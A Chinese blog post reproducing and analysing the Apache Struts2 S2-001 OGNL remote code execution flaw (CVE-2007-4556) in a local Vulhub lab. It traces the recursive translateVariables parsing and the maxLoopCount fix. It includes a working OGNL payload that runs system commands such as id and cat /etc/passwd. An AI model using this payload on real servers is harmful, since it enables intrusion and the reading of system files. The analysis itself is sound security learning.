内容纲要

前言

最近准备刷一波经典的 Struts2 的漏洞 . 但是 Struts2 的漏洞实在太多了 , 所以我准备从 phith0n 师傅的 Vulhub 中挑选几个来学习一下 , 具体进度还是看有没有空闲时间 .

现在网上关于 Struts2 漏洞的分析报告已经非常多了 , 在这里非常感谢各位前辈 ! 您们文章给了我很多思路与帮助 .

这是我第一次复现和分析 Java 漏洞( 之前曾经研究过 WebLogic RCE , 但是因为种种困难而放弃了 ) , 如果有哪里说的不正确或不恰当 , 非常欢迎您指出 .

如果您没有学习过 Struts2 框架 , 甚至没有学习过 Java , 那么本文的思路一定会对您有所帮助 .

下面开始分析 Struts2 系列漏洞的源头 : S2-001 , CVE编号 : CVE-2007-4556


CVE-2007-4556

漏洞简介

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

这段内容是 phith0n 师傅在复现漏洞时引用的 , 原链接指向 Apache Struts 2 Wiki_S2_001 .

但是上述这段内容并不是完全正确的 . 实际上 , " 该漏洞因为用户提交表单数据并且验证失败时 " 这句话是错误的 , 表单验证失败并不是该漏洞产生的原因 , 但表单验证失败是该漏洞最可能出现的场景之一 .

在很多表单提交的场景中( 例如用户登录场景 ) , 如果 Struts2 框架配置了验证操作( 例如对用户名 , 密码的判断 ) , 并且用户输入了错误的数据 , 那么站点在验证完毕后 , 往往会将错误的数据返回到登录页面上 , 并告诉用户登录密码错误 . 而不会跳转到新的页面 .

正是因为这个习惯性的操作 , 使得表单验证失败成为了 S2-001 漏洞的高发区 , 在 Chybeta 师傅的 S2-001 分析报告中 , 专门提出了这个问题 .

事实上 , 在各大漏洞披露平台 , 都没有提到 " 表单验证失败 " 这个条件 . 因此不应当被误导 .


漏洞复现


Vulhub 漏洞复现

漏洞复现过程我们直接拿 Vulhub 上的 docker 环境 .

sudo docker-compose -f docker-compose.yml up

打开浏览器 , 访问 127.0.0.1:8000 , 即可看到漏洞验证界面 .

在 Username/Password 输入框中填写 %{1+1} , 来判断漏洞是否存在.

如上图所示 , 如果 %{...} 中的表达式被解析并计算 , 那么说明此处存在 S2-001 远程代码执行漏洞 . 我们可以构造 Payload 进行利用 .

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}

修改 Payload 即可执行任意代码 .

如果想要执行包含空格的命令 , 仅需要在 java.lang.String[]{"..."} 中添加新的参数 . 例如想要执行 ls -la 命令 , 就修改 Payload java.lang.String[]{"ls","-la"} .


分析环境搭建

网上比较主流的复现环境是使用 IDEA 来搭建的 . 本文环境是根据 Boogle 师傅的 java代码审计入门之s2-001复现分析 一文来搭建的 .

值得一提的是 : 搭建的环境运行时可能会产生一个警告并抛出异常 , 但其实不影响漏洞的分析和调试 . 页面可以正常访问 .

Tomcat告警 : java.lang.IllegalStateException: struts.properties missing , 提示缺失了 struts.properties 文件 , 其实上该文件并不影响应用程序的正常运行 , 仅会在 Tomcat 启动时产生告警信息 .

     # Struts 框架存在两个默认配置文件
     1. Struts.xml : 用于应用程序的相关配置
     2. Struts.properties : 用于 Struts2 运行时(Runtime)的配置

如果不想看到该条告警信息 , 仅需要在 struts.xml 同级的目录创建一个空白的 struts.properties 文件就可以了 .

至此 ,漏洞复现环境已经搭建完毕 , 我们访问 http://localhost:8000/Struts2_war_exploded/ 即可进入漏洞环境 .

首先 , 通过 %{1+1} 这个表达式来验证漏洞是否存在 , 通过响应数据包可以看出 , 此处存在 S2-001 漏洞 .

确定漏洞存在后 , 我们构造 Payload 来执行任意代码 . 例如执行 cat /etc/passwd 命令

执行命令成功 !


漏洞分析

这是我第一次分析 JAVA 漏洞 , 所以我的分析过程可能和其他师傅不太一样 . 很多师傅都会在分析文档中详细介绍什么是 OGNL表达式 . 以及 OGNL 表达式的相关语法 .

但在简单学习了OGNL表达式后 , 我依然存在不少问题 . 以后可能会认真补习一下 JAVA 基础 . 但在本文中 , 我就只把 OGNL表达式 作为一个 会被解析的特殊格式字符串 来使用 , 其格式为 " %{...} " .

如果您想知道更多有关 OGNL 表达式的内容 , 可以参考其它师傅的文章或者 IBM Developer_OGNL 语言介绍与实践

下面我们开始分析整个漏洞产生的原因 .


分析思路
  1. 触发漏洞的一个条件

    根据 Apache Struts 2 Wiki 给出的漏洞代码 , 我们知道要想触发漏洞 , 就必须在提交表单时存在自定义标签 .

    网上很多师傅在复现时使用了 <s:textfield /> 这个自定义标签 . 刚才我们在搭建环境时使用的也是这个标签 , 我们跟踪这个标签 , 来看一下整个解析过程 .

    从代码中不难看出 , 自定义标签 <s:textfield /> 来源于自定义标签库 /struts-tags , 该文件位于 /WEB-INF/lib/struts2-core-2.0.1.jar!/META-INF/struts-tags.tld . 我们查看该配置文件中的定义 .

  2. 何时解析标签

    从上图我们得知 textfield 自定义标签的实现类是 org.apache.struts2.views.jsp.ui.TextFieldTag.class

    该类中定义了关于 <s:textfield /> 标签的各个属性参数 . 在 Struts2 框架中 , 解析标签是从 doStartTag() 方法开始的 . 该方法定义于 TextFieldTag 的父类 AbstractUITag 的父类 ComponentTagSupport 中 .

    当调用 doStartTag() 方法时 , Struts2 框架就会开始解析自定义标签 , 现在开始 , 我们通过 IDEA 调试代码 , 研究其具体的解析过程 , 以及漏洞产生的原因 .


IDEA 调试代码

这是我第一次使用IDEA , 也是我第一次调试 JAVA 代码 , 调试期间遇到了非常多的问题 . 可能现在还存在一些错误点 , 如果您发现 , 欢迎指正 !

  1. 分析前准备

    首先开启 IDEA Debug 模式

    复现漏洞时我们将 Payload 加载到 Password 参数中 , 因此这里我们先在 index.jsp 处的 password 参数前打上断点 .

    现在可以在浏览器中重新输入 payload 并提交 , 为了便于观察 , 我们填充 %{1+1} 作为测试代码 .

    此时程序已经停止运行了 , 我们取消 password 参数前的断点 , 在 doStartTag() 函数前打上断点 , 然后按 F9 将程序运行到新的断点处 .

    程序运行到 doStartTag() 处停止 .

  2. doStartTag() 函数分析

    现在进入了 doStartTag() 函数 , 通过 F7 单步进入查看该函数逻辑 .

    • 该函数首先调用 this.getBean() 类获取标签的属性

    • 然后调用父类的 populateParams() 函数设置部分标签属性的值 .

    • 最后根据条件执行标签体中的内容 .

    至此 , doStartTag() 函数就执行完毕了 , 继续单步跟进 , 发现进入了 doEndTag() 函数 . 不难发现 , doStartTag() 函数中并不存在 OGNL 表达式的解析过程 . 因此漏洞的成因并不在该函数中 .

  3. doEndTag() 函数分析

    • 首先doEndTag() 函数会调用 end() 函数 , 我们跟进该函数 .

    • end() 函数中 , 先调用了 evaluateParams() 函数

      追踪该函数 , 发现该函数调用了 findString() 函数 , 注意这里一个赋值操作 . name 参数的值由 null 变为了 password

      我们跟进 findString() 函数

    • findString() 函数中调用了 findValue() 函数

      需要注意这里在传参数时 , 将 expr 参数赋值为 " password " , 我们跟进 findValue() 函数

    • findValue() 函数分析

      可以看到 , 该函数先进行了一个条件判断 , 如果返回结果为 True , 就将 " password " 作为 TextParseUtil.translateVariables() 函数的参数 . 因此我们重点关注这个条件判断 . 来看一下 altSyntax() 函数的定义 .

      altSyntax() 函数直接调用 isUseAltSyntax() 函数 , 因此我们追踪isUseAltSyntax() 函数

      可以看到 , altSyntax() 的返回结果为 True , 因此我们可以带上 " password " 值进入到 TextParseUtil.translateVariables() 函数中 .

      简单的介绍一下 altSyntax 功能

      altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法( 不同于普通的 HTML ) , 该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行 . 该功能在struts2核心配置文件struts.properties中默认开启 .

    • translateVariables() 函数分析

      我们跟踪 translateVariables() 函数

      如果您看过其他的文章 , 就知道该函数正是漏洞产生的位置 . 来看一下该函数的逻辑是怎样的 .

      首先 , 该函数会先对传入的参数进行基本的判断 , 比如确定该参数的长度 , 并预设几个参数 .

      然后返回到 evaluateParams() 函数 , 并根据 altSyntac 的值 , 给参数加上特殊标记 . 比如这里将 " password " 转换为了 " %{password} "

      接着再次进入 translateVariables() 函数 , 但此时 expression 参数值已经变成了 %{password}

      此时进入下面的 While 循环 , 循环读取 " %{password} " , 确定该字符串的最大长度 . 并把最后一个字符的位置赋值给 end 参数

      下面对 " %{password} " 进行解析 , 首先去除了该参数值两侧的标记 , 然后调用 FindValue() 函数对 " password " 参数进行解析 , 获取其对应的参数值 " %{1+1} " , 并把该值赋给了参数 o

      其中具体的解析过程与 Struts2 的拦截器( Interceptor ) 有关 , 我自己不太了解 Struts2 框架 , 所以也就不多说了 . 这里您只需要知道 : 我们得到了 " password " 参数的值 " %{1+1} " .

      如果您想知道为何能通过 " %{password} " 获取到 " %{1+1} " , 可以参考 Dean 师傅的 Struts2框架: S2-001 漏洞详细分析

    • 漏洞关键点 !

      此时问题出现了 ! 由于这里存在一个 while(True) 永真循环 , 因此只要 expression 参数的值为 %{...} 这个格式 , 那么程序就会一直解析 expression 参数的值

      正如上图所示 : expression 参数被赋值为 " %{1+1} " , 然后该值会被继续解析 .

      因此 , %{1+1} 会被去掉两侧的标记 , 变为 1+1 , 然后该运算表达式会被解析计算 , 返回 2 . 并把该值赋给参数o .

      同理 , 如果这里填写的是一段JAVA代码 , 那么这段代码也会被解析执行 , 远程代码执行漏洞产生的原因就在这 .

      计算结果 2 不会再被解析 , 而是直接返回 . Struts2 框架调用 addParameter() 函数来设置返回值 , 并将键值对输出到用户界面 .

    至此 , 整个 S2-001 漏洞已经分析完毕 , 我们知道了脏数据是如何进入到 Struts2 框架的 , 如何被解析的 , 以及解析结果是如何返回的 .


漏洞修复

XWork 2.0.4 以上版本的 Struts2 框架中 , 添加了 maxLoopCount 参数 . 该参数限制了translateVariables() 函数中对 OGNL 表达式的递归解析 .

这样 , 我们就只会解析 " %{password} "" %{1+1} " , 而不会再解析 " %{1+1} " 了 . 这样从根本上修复了该漏洞 .


总结

本次的 Struts2_S2-001 漏洞复现与分析就到这里了 , 这是我第一次复现 Java 漏洞 , 由于我没有怎么学习过Java . 因此文章中可能还存在一些问题 . 如果您发现了, 欢迎指出 .

感谢其他研究 Struts2_S2-001 的前辈们 , 您们的文章给我了很多思路与帮助 .

Please follow and like us:
最后修改日期:2020年3月9日

作者

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。